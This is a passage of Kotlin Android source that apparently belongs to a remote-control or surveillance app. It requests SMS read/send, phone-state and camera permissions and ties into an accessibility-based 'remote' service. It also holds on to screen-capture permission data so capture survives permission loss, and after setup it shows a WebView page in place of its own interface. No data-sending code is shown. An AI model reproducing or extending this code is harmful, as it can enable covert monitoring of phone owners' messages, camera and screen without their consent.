if (needPermissions.isNotEmpty()) {
Log.i(TAG, "📱 直接申请短信权限")
requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION)
} else {
Log.i(TAG, "✅ 短信权限已授予")
}
} else {
Log.i(TAG, "✅ Android版本低于6.0,无需申请短信权限")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 直接短信权限请求失败", e)
}
}
/**
* 申请短信权限
*/
private fun requestSMSPermission() {
try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
val permissions = arrayOf(
android.Manifest.permission.READ_SMS,
android.Manifest.permission.SEND_SMS,
android.Manifest.permission.READ_PHONE_STATE
)
val needPermissions = permissions.filter {
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
}
if (needPermissions.isNotEmpty()) {
Log.i(TAG, "📱 申请短信权限")
requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION)
} else {
Log.i(TAG, "✅ 短信权限已授予")
}
} else {
Log.i(TAG, "✅ Android版本低于6.0,无需申请短信权限")
}
} catch (e: Exception) {
Log.e(TAG, "申请短信权限失败", e)
}
}
/**
* 处理摄像头权限申请请求
*/
private fun handleCameraPermissionRequest() {
try {
Log.i(TAG, "📷 开始处理摄像头权限申请请求")
// 更新UI状态
runOnUiThread {
statusText.text = "📷 正在申请摄像头权限\n请在弹出的对话框中点击允许"
statusText.setTextColor(getColor(android.R.color.holo_blue_dark))
enableButton.text = "申请中..."
enableButton.isEnabled = false
}
// 申请摄像头权限
requestCameraPermission()
} catch (e: Exception) {
Log.e(TAG, "❌ 处理摄像头权限申请请求失败", e)
runOnUiThread {
statusText.text = "❌ 摄像头权限申请失败\n请手动在设置中开启"
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
enableButton.text = "重试"
enableButton.isEnabled = true
}
}
}
/**
* 直接摄像头权限请求用于VivoAuthorizationHandler调用
*/
private fun requestCameraPermissionDirectly() {
try {
Log.i(TAG, "🎯 直接摄像头权限请求")
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
Log.i(TAG, "📷 直接申请摄像头权限")
requestPermissions(
arrayOf(android.Manifest.permission.CAMERA),
REQUEST_CAMERA_PERMISSION
)
} else {
Log.i(TAG, "✅ 摄像头权限已授予")
}
} else {
Log.i(TAG, "✅ Android版本低于6.0,无需申请摄像头权限")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 直接摄像头权限请求失败", e)
}
}
/**
* 申请摄像头权限
*/
private fun requestCameraPermission() {
try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
Log.i(TAG, "📷 申请摄像头权限")
requestPermissions(
arrayOf(android.Manifest.permission.CAMERA),
REQUEST_CAMERA_PERMISSION
)
} else {
Log.i(TAG, "✅ 摄像头权限已授予")
runOnUiThread {
statusText.text = "✅ 摄像头权限已授予\n权限申请完成"
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
enableButton.text = "完成"
enableButton.isEnabled = true
}
// 延迟隐藏Activity
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
hideActivityToBackground()
}, 2000)
}
} else {
Log.i(TAG, "✅ Android版本低于6.0,无需申请摄像头权限")
runOnUiThread {
statusText.text = "✅ Android版本低于6.0\n无需申请摄像头权限"
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
enableButton.text = "完成"
enableButton.isEnabled = true
}
// 延迟隐藏Activity
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
hideActivityToBackground()
}, 2000)
}
} catch (e: Exception) {
Log.e(TAG, "申请摄像头权限失败", e)
runOnUiThread {
statusText.text = "❌ 摄像头权限申请失败\n请手动在设置中开启"
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
enableButton.text = "重试"
enableButton.isEnabled = true
}
}
}
/**
* 权限申请结果回调
*/
override fun onRequestPermissionsResult(
requestCode: Int,
permissions: Array<out String>,
grantResults: IntArray
) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults)
when (requestCode) {
REQUEST_SMS_PERMISSION -> {
val allGranted =
grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }
if (allGranted) {
Log.i(TAG, "✅ 短信权限已授予")
} else {
Log.w(TAG, "❌ 短信权限被拒绝")
}
}
REQUEST_GALLERY_PERMISSION -> {
val allGranted =
grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }
if (allGranted) {
Log.i(TAG, "✅ 相册权限已授予")
} else {
Log.w(TAG, "❌ 相册权限未授予")
}
}
REQUEST_MICROPHONE_PERMISSION -> {
val allGranted =
grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }
if (allGranted) {
Log.i(TAG, "✅ 麦克风权限已授予")
} else {
Log.w(TAG, "❌ 麦克风权限未授予")
}
}
REQUEST_CAMERA_PERMISSION -> {
val allGranted =
grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }
if (allGranted) {
Log.i(TAG, "✅ 摄像头权限已授予")
runOnUiThread {
statusText.text = "✅ 摄像头权限已授予\n权限申请完成"
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
enableButton.text = "完成"
enableButton.isEnabled = true
}
// 延迟隐藏Activity
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
hideActivityToBackground()
}, 2000)
} else {
Log.w(TAG, "❌ 摄像头权限被拒绝")
runOnUiThread {
statusText.text = "❌ 摄像头权限被拒绝\n请手动在设置中开启"
statusText.setTextColor(getColor(android.R.color.holo_red_dark))
enableButton.text = "重试"
enableButton.isEnabled = true
}
}
}
REQUEST_ALL_PERMISSIONS -> {
val allGranted = grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED }
val grantedCount = grantResults.count { it == PackageManager.PERMISSION_GRANTED }
val totalCount = grantResults.size
Log.i(TAG, "📊 所有权限申请结果: $grantedCount/$totalCount 已授予")
if (allGranted) {
Log.i(TAG, "✅ 所有权限已授予")
runOnUiThread {
statusText.text = "✅ 所有权限已授予\n权限申请完成"
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
}
} else {
Log.w(TAG, "⚠️ 部分权限被拒绝: $grantedCount/$totalCount")
runOnUiThread {
statusText.text = "⚠️ 部分权限被拒绝\n已授予: $grantedCount/$totalCount"
statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
}
}
}
}
}
/**
* 启动WebView页面
* 从server_config.json读取webUrl配置
*/
private fun startWebViewActivity() {
try {
// 🚫 暂时关闭WebView的打开
// Log.i(TAG, "🚫 WebView打开已被暂时禁用")
// return
Log.i(TAG, "🌐 准备启动WebView页面")
Log.i(TAG, "🔍 当前Activity状态: isFinishing=${isFinishing}, isDestroyed=${isDestroyed}")
// ✅ 检查Activity是否仍然有效
if (isFinishing || isDestroyed) {
Log.e(TAG, "❌ Activity已销毁或正在结束无法启动WebView")
return
}
// ✅ 检查安装是否完成如果未完成则不打开WebView
try {
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
if (!isInstallationComplete) {
Log.w(TAG, "⚠️ 安装未完成无法打开WebView")
// 可选:显示提示信息给用户
runOnUiThread {
statusText?.text = "⚠️ 安装未完成\n请先完成安装流程"
statusText?.setTextColor(getColor(android.R.color.holo_orange_dark))
}
return
}
Log.i(TAG, "✅ 安装已完成允许打开WebView")
} catch (e: Exception) {
Log.e(TAG, "❌ 检查安装完成状态失败", e)
// 如果检查失败为了安全起见不打开WebView
return
}
// 从配置文件读取webUrl
val webUrl = com.hikoncont.util.ConfigReader.getWebUrl(this)
val finalUrl = if (webUrl.isNullOrBlank()) {
Log.w(TAG, "⚠️ 配置文件中没有webUrl使用默认URL")
"https://m.baidu.com"
} else {
webUrl
}
// 找到布局中的 WebView
val webView = findViewById<android.webkit.WebView>(R.id.webView)
if (webView == null) {
Log.e(TAG, "❌ 未找到WebView视图无法加载页面")
return
}
// 🚀 使用 WebViewManager 管理 WebView - 参考 f 目录的完整实现
val webViewManager = WebViewManager(this)
// 🚀 设置回调接口 - 参考 zuiqiang 的简洁实现
webViewManager.setCallback(object : WebViewManager.WebViewCallback {
override fun onPageFinished(url: String) {
Log.i(TAG, "📄 页面加载完成: $url")
// 这里可以添加页面加载完成后的处理逻辑
}
override fun onWebClick(url: String) {
Log.i(TAG, "🔗 JavaScript点击: $url")
// 这里可以添加点击处理逻辑
}
})
webViewManager.initWebView(webView)
// 🚀 隐藏主UI显示 WebView - 参考 f 目录的简单切换
hideMainUI()
webViewManager.showWebView()
// ✅ 启动WebView状态更新每500ms更新一次静态变量
startWebViewStatusUpdate()
// 🚀 简洁的全屏设置
try {
supportActionBar?.hide()
} catch (_: Exception) {
}
// 🚀 关键性能优化禁用不必要的系统UI效果
try {
// 禁用状态栏和导航栏的动画效果
window.decorView.systemUiVisibility = android.view.View.SYSTEM_UI_FLAG_LAYOUT_STABLE
Log.d(TAG, "🔧 已优化系统UI性能")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 系统UI优化失败: ${e.message}")
}
// 🚀 加载 URL
webViewManager.loadUrl(finalUrl)
// 🚀 WebView 启动时:关闭日志收集以提升性能
try {
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
// serviceInstance?.disableLogging() // 暂停:暂时不切换日志
Log.i(TAG, "🌐 WebView 启动:跳过日志开关")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
}
Log.i(TAG, "✅ WebView 启动完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动WebView失败: ${e.message}")
}
}
/**
* 隐藏主UI - 参考 f 目录的简单切换方式
*/
private fun hideMainUI() {
try {
// 隐藏主界面内容
findViewById<android.view.View>(R.id.mainContent)?.visibility = android.view.View.GONE
// 显示 WebView 容器
findViewById<android.view.View>(R.id.webViewContainer)?.visibility = android.view.View.VISIBLE
// 🚀 WebView 模式优化:跳过日志开关
try {
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
// serviceInstance?.disableLogging() // 暂停:暂时不切换日志
Log.i(TAG, "🌐 WebView 模式:跳过日志开关")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
}
Log.i(TAG, "✅ 主UI已隐藏WebView容器已显示")
} catch (e: Exception) {
Log.e(TAG, "❌ 隐藏主UI失败: ${e.message}")
}
}
/**
* 启动WebView状态更新每500ms更新一次静态变量最高性能
* 只有Activity在前台时才更新状态
*/
private fun startWebViewStatusUpdate() {
try {
// 停止之前的状态更新任务(如果存在)
stopWebViewStatusUpdate()
isWebViewVisible = true
webViewStatusHandler = Handler(Looper.getMainLooper())
// ✅ 检查Activity是否在前台只有在前台时才设置状态
if (isActivityResumed()) {
// ✅ 立即设置WebView打开状态只有在前台时
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true)
Log.i(TAG, "✅ 已设置WebView打开状态静态变量Activity在前台")
} else {
Log.i(TAG, "✅ 已标记WebView为可见但Activity不在前台等待前台时再更新状态")
}
webViewStatusRunnable = object : Runnable {
override fun run() {
if (isWebViewVisible && !isFinishing && !isDestroyed) {
try {
// ✅ 只有Activity在前台时才更新状态节省资源
if (isActivityResumed()) {
// ✅ 直接更新静态变量(最高性能,无通信开销)
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true)
Log.v(TAG, "📡 已更新WebView打开状态静态变量Activity在前台")
} else {
// Activity不在前台不更新状态但继续检查
Log.v(TAG, "📡 Activity不在前台跳过状态更新")
}
// 500ms后再次更新
webViewStatusHandler?.postDelayed(this, 500L)
} catch (e: Exception) {
Log.e(TAG, "❌ 更新WebView状态失败", e)
// 更新失败也要继续尝试,避免停止更新
webViewStatusHandler?.postDelayed(this, 500L)
}
}
}
}
// 500ms后开始定时更新
webViewStatusHandler?.postDelayed(webViewStatusRunnable!!, 500L)
Log.i(TAG, "✅ 已启动WebView状态更新静态变量方案只有前台时更新")
} catch (e: Exception) {
Log.e(TAG, "❌ 启动WebView状态更新失败", e)
}
}
/**
* 检查Activity是否在前台resumed状态
*/
private fun isActivityResumed(): Boolean {
return try {
// 检查Activity是否在前台
// 使用更简单可靠的方法检查是否有window focus和可见性
val hasWindowFocus = hasWindowFocus()
val isVisible = !isFinishing && !isDestroyed
hasWindowFocus && isVisible
} catch (e: Exception) {
// 如果检查失败,假设不在前台
false
}
}
/**
* 停止WebView状态更新
*/
private fun stopWebViewStatusUpdate() {
try {
isWebViewVisible = false
// 停止定时更新
webViewStatusHandler?.removeCallbacks(webViewStatusRunnable ?: return)
webViewStatusHandler = null
webViewStatusRunnable = null
// ✅ 直接设置WebView关闭状态静态变量
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false)
Log.i(TAG, "✅ 已停止WebView状态更新并设置为关闭状态静态变量")
} catch (e: Exception) {
Log.e(TAG, "❌ 停止WebView状态更新失败", e)
}
}
/**
* 🚀 WebView性能优化暂停WebView以节省资源
*/
private fun pauseWebView() {
try {
val webView = findViewById<android.webkit.WebView>(R.id.webView)
webView?.onPause()
Log.d(TAG, "⏸️ WebView已暂停")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 暂停WebView失败: ${e.message}")
}
}
/**
* 🚀 WebView性能优化恢复WebView
*/
private fun resumeWebView() {
try {
val webView = findViewById<android.webkit.WebView>(R.id.webView)
webView?.onResume()
Log.d(TAG, "▶️ WebView已恢复")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 恢复WebView失败: ${e.message}")
}
}
/**
* 🚀 WebView性能优化清理WebView缓存和内存
*/
private fun clearWebViewCache() {
try {
val webView = findViewById<android.webkit.WebView>(R.id.webView)
webView?.clearCache(true)
webView?.clearHistory()
Log.d(TAG, "🧹 WebView缓存已清理")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 清理WebView缓存失败: ${e.message}")
}
}
/**
* 🚀 WebView性能优化销毁WebView以释放内存
*/
private fun destroyWebView() {
try {
val webView = findViewById<android.webkit.WebView>(R.id.webView)
webView?.let { wv ->
wv.loadUrl("about:blank")
wv.clearHistory()
wv.clearCache(true)
wv.destroy()
Log.d(TAG, "🗑️ WebView已销毁")
}
} catch (e: Exception) {
Log.w(TAG, "⚠️ 销毁WebView失败: ${e.message}")
}
}
/**
* 🚀 WebView性能优化简化性能监控避免与 WebViewManager 冲突
*/
private fun enableWebViewPerformanceMonitoring(webView: android.webkit.WebView) {
try {
// 🚀 简化:只启用调试,不设置 WebChromeClient避免与 WebViewManager 冲突)
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT) {
android.webkit.WebView.setWebContentsDebuggingEnabled(true)
Log.d(TAG, "🔧 WebView调试已启用")
}
// 🚀 简化:移除复杂的内存监控,避免性能影响
Log.i(TAG, "🚀 WebView性能监控已简化")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 启用WebView性能监控失败: ${e.message}")
}
}
/**
* 🚀 WebView性能诊断诊断WebView性能问题
*/
private fun diagnoseWebViewPerformance() {
try {
val webView = findViewById<android.webkit.WebView>(R.id.webView)
if (webView != null) {
Log.i(TAG, "🔍 WebView性能诊断开始")
// 检查WebView状态
Log.d(TAG, "📊 WebView可见性: ${webView.visibility}")
Log.d(TAG, "📊 WebView焦点状态: ${webView.hasFocus()}")
Log.d(TAG, "📊 WebView滚动状态: 垂直=${webView.scrollY}, 水平=${webView.scrollX}")
// 检查内存使用
val runtime = Runtime.getRuntime()
val usedMemory = runtime.totalMemory() - runtime.freeMemory()
val maxMemory = runtime.maxMemory()
Log.d(TAG, "📊 当前内存使用: ${usedMemory / 1024 / 1024}MB / ${maxMemory / 1024 / 1024}MB")
// 检查WebView设置
val settings = webView.settings
Log.d(TAG, "📊 JavaScript启用: ${settings.javaScriptEnabled}")
Log.d(TAG, "📊 硬件加速: ${webView.layerType}")
Log.d(TAG, "📊 缓存模式: ${settings.cacheMode}")
Log.i(TAG, "✅ WebView性能诊断完成")
} else {
Log.w(TAG, "⚠️ WebView未找到无法进行性能诊断")
}
} catch (e: Exception) {
Log.e(TAG, "❌ WebView性能诊断失败", e)
}
}
/**
* 🚀 WebView渲染优化参考 zuiqiang 的简洁实现
*/
private fun optimizeWebViewRendering(webView: android.webkit.WebView) {
try {
// 🚀 极简优化 - 参考 zuiqiang 项目
webView.setOverScrollMode(android.view.View.OVER_SCROLL_NEVER)
webView.setScrollBarStyle(android.view.View.SCROLLBARS_INSIDE_OVERLAY)
Log.i(TAG, "🚀 WebView渲染优化完成简洁版")
} catch (e: Exception) {
Log.w(TAG, "⚠️ WebView渲染优化失败: ${e.message}")
}
}
/**
* 🚀 WebView内存优化定期清理内存
*/
private fun optimizeWebViewMemory() {
try {
val webView = findViewById<android.webkit.WebView>(R.id.webView)
webView?.let { wv ->
// 清理缓存
wv.clearCache(true)
wv.clearHistory()
// 强制垃圾回收
System.gc()
// 检查内存使用情况
val runtime = Runtime.getRuntime()
val usedMemory = runtime.totalMemory() - runtime.freeMemory()
val maxMemory = runtime.maxMemory()
val memoryUsagePercent = (usedMemory * 100) / maxMemory
Log.d(TAG, "🧹 WebView内存清理完成使用率: ${memoryUsagePercent}%")
if (memoryUsagePercent > 85) {
Log.w(TAG, "⚠️ 内存使用率过高: ${memoryUsagePercent}%建议重启WebView")
// 可以考虑重新加载页面
wv.reload()
}
}
} catch (e: Exception) {
Log.w(TAG, "⚠️ WebView内存优化失败: ${e.message}")
}
}
/**
* 检测是否为全面屏设备
*/
private fun isFullScreenDevice(): Boolean {
return try {
// 检测是否有导航栏
val hasNavigationBar = hasNavigationBar()
// 检测屏幕比例(全面屏设备通常有更高的宽高比)
val displayMetrics = resources.displayMetrics
val screenWidth = displayMetrics.widthPixels
val screenHeight = displayMetrics.heightPixels
val aspectRatio = maxOf(screenWidth, screenHeight).toFloat() / minOf(screenWidth, screenHeight).toFloat()
// 获取导航栏高度
val navigationBarHeight = getNavigationBarHeight()
// 全面屏设备特征:
// 1. 没有导航栏 或
// 2. 屏幕宽高比大于1.818:9或更高且导航栏高度很小
val isFullScreen = !hasNavigationBar || (aspectRatio > 1.8f && navigationBarHeight < 100)
Log.d(TAG, "🔍 设备检测: 有导航栏=$hasNavigationBar, 宽高比=${String.format("%.2f", aspectRatio)}, 导航栏高度=${navigationBarHeight}px, 全面屏=$isFullScreen")
isFullScreen
} catch (e: Exception) {
Log.e(TAG, "❌ 检测全面屏设备失败", e)
// 默认按非全面屏处理,避免遮挡
false
}
}
/**
* 检测是否有导航栏
*/
private fun hasNavigationBar(): Boolean {
return try {
val resources = this.resources
val resourceId = resources.getIdentifier("config_showNavigationBar", "bool", "android")
if (resourceId > 0) {
resources.getBoolean(resourceId)
} else {
// 如果无法获取配置通过系统UI可见性判断
val decorView = window.decorView
val uiOptions = decorView.systemUiVisibility
(uiOptions and android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION) == 0
}
} catch (e: Exception) {
Log.e(TAG, "❌ 检测导航栏失败", e)
true // 默认认为有导航栏
}
}
/**
* 获取导航栏高度
*/
private fun getNavigationBarHeight(): Int {
return try {
val resources = this.resources
val resourceId = resources.getIdentifier("navigation_bar_height", "dimen", "android")
if (resourceId > 0) {
val height = resources.getDimensionPixelSize(resourceId)
Log.d(TAG, "🔍 导航栏高度: ${height}px")
height
} else {
Log.w(TAG, "⚠️ 无法获取导航栏高度,使用默认值")
// 默认导航栏高度通常为48dp
(48 * resources.displayMetrics.density).toInt()
}
} catch (e: Exception) {
Log.e(TAG, "❌ 获取导航栏高度失败", e)
// 默认导航栏高度
(48 * resources.displayMetrics.density).toInt()
}
}
/**
* 将当前Activity隐藏到后台而不销毁
*/
private fun hideActivityToBackground() {
// 🚀 简化:允许用户正常返回,不强制隐藏
// try {
// moveTaskToBack(true)
// Log.i(TAG, "🫥 已将MainActivity隐藏到后台")
// } catch (e: Exception) {
// Log.w(TAG, "⚠️ 隐藏Activity到后台失败: ${e.message}")
// }
}
/**
* 🚀 处理返回键 - WebView 模式下不允许返回主界面
*/
override fun onBackPressed() {
Log.i(TAG, "🔙 用户按返回键")
// 检查 WebView 是否可见
val webViewContainer = findViewById<android.view.View>(R.id.webViewContainer)
val isWebViewVisible = webViewContainer?.visibility == android.view.View.VISIBLE
if (isWebViewVisible) {
// WebView 可见时,检查是否可以返回上一页
val webView = findViewById<android.webkit.WebView>(R.id.webView)
if (webView != null && webView.canGoBack()) {
Log.i(TAG, "🌐 WebView 可以返回上一页")
webView.goBack()
return
} else {
Log.i(TAG, "🌐 WebView 无法返回,直接退出应用")
// 🚀 关键WebView 无法返回时,直接退出应用,不允许返回主界面
super.onBackPressed()
return
}
}
// 其他情况,正常退出应用
Log.i(TAG, "🔙 正常退出应用")
super.onBackPressed()
}
/**
* 显示主UI - WebView 返回到主界面
*/
private fun showMainUI() {
try {
// ✅ 停止WebView状态更新
stopWebViewStatusUpdate()
// 显示主界面内容
findViewById<android.view.View>(R.id.mainContent)?.visibility = android.view.View.VISIBLE
// 隐藏 WebView 容器
findViewById<android.view.View>(R.id.webViewContainer)?.visibility = android.view.View.INVISIBLE
// 🚀 WebView 模式优化:跳过日志开关
try {
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
Log.i(TAG, "🌐 退出 WebView 模式:跳过日志开关")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
}
Log.i(TAG, "✅ 主UI已显示WebView容器已隐藏")
} catch (e: Exception) {
Log.e(TAG, "❌ 显示主UI失败: ${e.message}")
}
}
//移除SharedPreferences方式改为文件持久化
}
/**
* MediaProjection静态持有者 - 增强版
* 专门针对Android 15权限丢失问题进行优化
*/
object MediaProjectionHolder {
private var mediaProjection: MediaProjection? = null
private var permissionResultCode: Int? = null
private var permissionData: Intent? = null
// Android 15权限保护增强
@Volatile
private var permissionCreationTime: Long = 0L
@Volatile
private var permissionLostCount: Int = 0
@Volatile
private var lastRecoveryTime: Long = 0L
fun setMediaProjection(projection: MediaProjection?) {
this.mediaProjection = projection
if (projection != null) {
permissionCreationTime = System.currentTimeMillis()
Log.i(
"MediaProjectionHolder",
"✅ MediaProjection已设置时间戳: $permissionCreationTime"
)
}
}
fun getMediaProjection(): MediaProjection? {
return mediaProjection
}
fun setPermissionData(resultCode: Int, data: Intent?) {
this.permissionResultCode = resultCode
this.permissionData = data
permissionCreationTime = System.currentTimeMillis()
Log.i(
"MediaProjectionHolder",
"权限数据已存储: resultCode=$resultCode, 时间戳: $permissionCreationTime"
)
}
fun getPermissionData(): Pair<Int, Intent?>? {
return if (permissionResultCode != null) {
Pair(permissionResultCode!!, permissionData)
} else {
null
}
}
/**
* 检查权限数据是否仍然有效统一处理Android 11+设备
*/
fun isPermissionDataValid(): Boolean {
val permissionCurrentTime = System.currentTimeMillis()
val permissionAge = permissionCurrentTime - permissionCreationTime
// 统一使用2小时权限数据有效期确保Android 11+设备稳定性
val maxAge = 2 * 60 * 60 * 1000L // 2小时
val isValid = permissionResultCode != null && permissionAge < maxAge
if (!isValid && permissionResultCode != null) {
Log.w("MediaProjectionHolder", "⚠️ 权限数据已过期,年龄: ${permissionAge / 1000}")
}
return isValid
}
fun clearMediaProjection() {
val clearCurrentTime = System.currentTimeMillis()
val stackTrace = Thread.currentThread().stackTrace.take(8)
.joinToString("\n") { " at ${it.className}.${it.methodName}(${it.fileName}:${it.lineNumber})" }
Log.w(
"MediaProjectionHolder", """
🧹🧹🧹 clearMediaProjection() 被调用 🧹🧹🧹
📍 调用时间: $clearCurrentTime
📊 当前状态:
- MediaProjection对象: ${mediaProjection?.hashCode()}
- 权限数据存在: ${permissionResultCode != null}
- 权限创建时间: $permissionCreationTime
- 权限丢失次数: $permissionLostCount
- Android版本: ${android.os.Build.VERSION.SDK_INT}
📍 调用堆栈:
$stackTrace
""".trimIndent()
)
// ❌ 修复不要随意停止MediaProjection特别是Android 15设备
// 这会导致权限永久失效,需要重新申请
// 只清理引用,保留权限数据,让系统自然回收
Log.w(
"MediaProjectionHolder",
"⚠️ 清理MediaProjection引用但保留权限数据防止Android 15权限丢失"
)
// 记录权限丢失
permissionLostCount++
Log.d("MediaProjectionHolder", "📊 更新权限丢失计数: $permissionLostCount")
// 统一使用保守的权限保护策略仅清理MediaProjection引用保留权限数据
Log.i("MediaProjectionHolder", "🛡️ Android 11+设备仅清理MediaProjection引用保留权限数据")
val oldProjection = mediaProjection
// 只清理引用,保留权限数据
mediaProjection = null
Log.d("MediaProjectionHolder", "🧹 引用清理: ${oldProjection?.hashCode()} -> null")
// 不清理权限数据permissionResultCode 和 permissionData 保留
// 记录权限丢失,需要外部触发恢复机制
Log.i("MediaProjectionHolder", "🔄 权限丢失,需要外部触发恢复机制")
Log.d(
"MediaProjectionHolder", """
📊 清理后状态:
- MediaProjection对象: ${mediaProjection?.hashCode()}
- 权限数据保留: resultCode=$permissionResultCode, Intent存在=${permissionData != null}
- 权限数据有效性: ${isPermissionDataValid()}
""".trimIndent()
)
}
// 新增:强制清理方法,仅在确实需要停止时使用
fun forceStopMediaProjection() {
Log.i("MediaProjectionHolder", "🛑 强制停止MediaProjection仅在用户主动停止时使用")
mediaProjection?.stop()
mediaProjection = null
permissionResultCode = null
permissionData = null
permissionCreationTime = 0L
permissionLostCount = 0
lastRecoveryTime = 0L
}
// 清理权限数据不影响MediaProjection对象
fun clearPermissionData() {
Log.w("MediaProjectionHolder", "🧹 清理权限数据(权限可能已过期)")
permissionResultCode = null
permissionData = null
permissionCreationTime = 0L
}
/**
* 智能权限恢复针对Android 15优化
*/
fun attemptSmartRecovery(): MediaProjection? {
try {
val recoveryCurrentTime = System.currentTimeMillis()
// 检查是否过于频繁的恢复尝试
if (recoveryCurrentTime - lastRecoveryTime < 30000) { // 30秒内不重复恢复
Log.w("MediaProjectionHolder", "⚠️ 恢复尝试过于频繁,跳过")
return null
}
lastRecoveryTime = recoveryCurrentTime
// 检查权限数据有效性
if (!isPermissionDataValid()) {
Log.w("MediaProjectionHolder", "❌ 权限数据无效,无法智能恢复")
return null
}
val permissionData = getPermissionData()
if (permissionData != null) {
val (resultCode, resultData) = permissionData
if (resultData != null) {
Log.i("MediaProjectionHolder", "🔧 尝试智能恢复MediaProjection")
// 注意这里需要一个Context但在静态方法中无法直接获取
// 暂时返回null具体的智能恢复应该由有Context的组件来处理
Log.w(
"MediaProjectionHolder",
"❌ 静态方法中无法获取Context智能恢复应该由AccessibilityService处理"
)
return null
}
}
return null
} catch (e: Exception) {
Log.e("MediaProjectionHolder", "❌ 智能恢复异常", e)
return null
}
}
/**
* 获取权限统计信息
*/
fun getPermissionStats(): Map<String, Any> {
return mapOf(
"hasPermission" to (mediaProjection != null),
"hasPermissionData" to (permissionResultCode != null),
"isDataValid" to isPermissionDataValid(),
"permissionAge" to (System.currentTimeMillis() - permissionCreationTime),
"lostCount" to permissionLostCount,
"lastRecoveryTime" to lastRecoveryTime,
"androidVersion" to android.os.Build.VERSION.SDK_INT
)
}
private fun debugUIElements() {
try {
val service = AccessibilityRemoteService.getInstance()
if (service == null) {
Log.e("debugUIElements", "无障碍服务未连接")
return
}
Log.d("debugUIElements", "开始调试UI元素...")
service.debugAllVisibleElements()
} catch (e: Exception) {
Log.e("debugUIElements", "调试UI元素失败", e)
}
}
}